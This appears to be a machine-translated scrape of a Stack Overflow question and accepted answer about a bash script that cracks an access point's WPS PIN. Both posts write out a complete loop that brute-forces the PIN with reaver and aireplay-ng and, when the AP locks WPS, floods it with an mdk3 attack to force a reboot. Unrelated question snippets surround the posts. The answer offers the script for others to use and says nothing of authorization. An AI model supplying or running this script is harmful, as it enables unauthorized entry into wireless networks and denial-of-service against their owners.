- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
首先,对不起我糟糕的英语。我正在尝试编写一个 bash 脚本,以便使用 reaver 执行 AP WPS 破解。问题是在尝试了一些 WPS-PIN 之后,AP 锁定了 WPS,所以我的收割机没有用。
为了解决这个问题,我执行了一个mdk3
攻击来强制AP重启并能够再次攻击它(重启后,WPS以解锁状态重启)。
这种方法的问题在于:
我写了下面几行应该可以解决这个问题。
我不得不说我完全是 bash 脚本的菜鸟,所以脚本不是“专业的”,它只是解决我的问题的“解决方法”。
#!/bin/bash
while true; do
# Switch to the correct channel and save it into $channel
echo Detecting AP channel
timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
rm ap_channel 2> /dev/null
touch ap_channel
timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
rm ap_channel
# Attacks the AP while it isn't wps-locked
rm ap_status 2> /dev/null
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
mdk3_pid=$!
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -n "$(grep Locked ap_status)" ]; do
echo Trying to reboot the AP
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 2 mins till AP init
sleep 120
done
此脚本中的问题是,如果我直接在命令行中执行它,我用于 airodump 输出的 stdout 重定向与在脚本中执行它时运行不同。
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
我需要一种方法来在脚本中执行上面的行,就好像我直接在 tty 中执行它一样。我无法使用 exec 执行此操作,因为我需要继续执行脚本。
注意:我不能为 airodump-ng 使用 -w 选项,因为它不会保存 WPS 状态。
有人可以帮我解决这个问题吗?
最佳答案
我终于明白了。我找到了解决此问题的解决方法,将命令的标准输出重定向到文件。我发布了脚本,也许有人可以使用它。
while true; do
rm attack
rm ap_status
rm ap_channel
# Detects the AP channel
echo Detecting AP channel
timeout 45 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -vv > ap_channel # Switch to the AP channel
timeout 15 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 3 | head -c 2)"
rm ap_channel
echo Detected AP channel $channel
# Attacks the AP using reaver till the AP locks the WPS
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
done
# Force a reboot in the AP to unlock WPS
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > attack &
mdk3_pid=$!
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
while [ -n "$(grep Locked ap_status -m 1)" ]; do
echo Trying to reboot the AP
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 5 mins till AP init
rm attack
rm ap_status
sleep 300
done
延迟设置为长,但还可以。这取决于 AP,您可以更改它们。
要使用脚本,需要 aircrack、reaver(最新版本,具有 --wps 选项的那个)、timeout 和 mdk3 包。
如果了解 bash 脚本的人想要修改脚本并上传更好的脚本,那就太好了!
关于linux - 用于 reaver 解锁 wps 锁定状态的 Bash 脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42072087/
这些是我在笔记本电脑的终端中输入的命令。 root@ubuntu:~# reaver -i mon0 -b F8:7B:7A:69:9F Reaver v1.4 WiFi Protected Setu
首先,对不起我糟糕的英语。我正在尝试编写一个 bash 脚本,以便使用 reaver 执行 AP WPS 破解。问题是在尝试了一些 WPS-PIN 之后,AP 锁定了 WPS,所以我的收割机没有用。
我正在尝试安装 reaver,但我卡在了某个点,它说要 install make。 当我输入命令 make install 时,出现以下消息: rm -f /usr/local/bin/reaver
我使用 Linux Fedora 27 机器,我想安装 reaver-1.4。我遇到了与此处描述的相同的问题:error pcap library not found但我尝试了两个命令: sudo y
我是一名优秀的程序员,十分优秀!